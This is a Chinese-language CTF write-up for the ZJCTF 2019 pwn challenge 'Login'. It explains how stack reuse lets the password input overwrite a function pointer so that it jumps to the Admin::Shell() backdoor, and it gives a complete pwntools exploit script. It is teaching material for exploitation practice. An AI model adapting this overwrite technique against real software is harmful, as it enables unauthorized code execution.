ZJCTF 2019 Pwn
Login
前排感谢KMFL师傅的指点
分析程序,是C++的反汇编,但影响不大,首先是传入Admin的用户名'admin'
和密码'2jctf_pa5sw0rd'
,随后要求我们输入用户的name和密码,其中对name貌似没有要求,但是会检查password。
我尝试这样输入:
但是程序出现了段错误,跟踪调试可以发现是最后的函数中call rax
出了问题:
看反汇编代码:
可以发现第一个参数a1是一个指向指针的指针,并把**a
作为函数执行了,看汇编代码更直观:
于是我们去看看传递的第一个参数能否被我们控制:
注:这里mov指令和lea指令中的[rbp+var_130]是寄存器间接寻址,取地址
因此我们传入的参数是[rbp+var_130]
的地址,那么我们执行的就是rbp+var_130
中存放的内容,可以看到在上面[rbp+var_130]
被赋值成rax。跟进password_checker()
函数去看看rax是什么:
看来我们的rax是[rbp+var_18]
,于是最终我们只需要控制[rbp+var_18]
中的内容为后门函数Admin::Shell()就可以了。
由于这里的函数都是在main()
函数中调用的,所以password_checker()
函数退栈后,read_password()
函数在同一位置开栈(被调用函数都在同一位置上开栈)。因此我们可以在输入密码的时候覆盖[rbp+var_18]
:
exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='login'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote()
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
#z('b *0x400A13\n')
sla("Please enter username: ",'admin')
pd='2jctf_pa5sw0rd'+'\x00'*58+p64(0x400E88)
sla("Please enter password: ",pd)
p.interactive()
这里还需要注意这里的snprintf()
函数:
可以看到这个函数里的s与read_password()
函数中的位置相同,也就是在栈的同一位置上,如果格式化字符串过长有可能会破坏我们布置好的shell,这里利用%s
的\x00
截断就好了~